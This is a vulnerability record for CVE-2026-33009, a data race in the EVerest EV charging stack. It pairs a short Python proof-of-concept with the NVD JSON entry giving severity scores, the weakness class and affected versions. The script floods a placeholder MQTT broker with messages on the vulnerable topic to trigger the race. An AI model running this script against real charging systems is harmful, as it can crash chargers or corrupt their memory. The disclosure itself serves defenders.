CVE-2026-33009

import paho.mqtt.client as mqtt import time # PoC for CVE-2026-33009 # This script attempts to trigger the race condition in EVerest by sending # multiple concurrent MQTT messages to the vulnerable topic. TARGET_BROKER = "mqtt.everest.example.com" # Replace with target IP TARGET_PORT = 1883 CONNECTOR_ID = "1" # Replace with actual connector ID TOPIC = f"everest_external/nodered/{CONNECTOR_ID}/cmd/switch_three_phases_while_charging" PAYLOAD = "true" def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") client = mqtt.Client() client.on_connect = on_connect try: client.connect(TARGET_BROKER, TARGET_PORT, 60) client.loop_start() # Send messages rapidly to attempt to trigger the race condition print("Starting PoC...") for i in range(20): client.publish(TOPIC, PAYLOAD) # Minimal delay to encourage concurrent access in the handler time.sleep(0.005) client.loop_stop() print("PoC execution finished.") except Exception as e: print(f"An error occurred: {e}")

{"cve": {"id": "CVE-2026-33009", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:37.813", "lastModified": "2026-03-31T13:30:58.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Versions prior to 2026.02.0 have a data race leading to C++ UB (potential memory corruption). This is triggered by an MQTT `everest_external/nodered/{connector}/cmd/switch_three_phases_while_charging` message and results in `Charger::shared_context` / `internal_context` accessed concurrently without lock. Version 2026.02.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Las versiones anteriores a la 2026.02.0 tienen una condición de carrera de datos que conduce a un comportamiento indefinido (UB) de C++ (potencial corrupción de memoria). Esto se activa mediante un mensaje MQTT 'everest_external/nodered/{connector}/cmd/switch_three_phases_while_charging' y resulta en que 'Charger::shared_context' / 'internal_context' se acceden concurrentemente sin bloqueo. La versión 2026.02.0 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-33qh-fg6f-jjx5", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}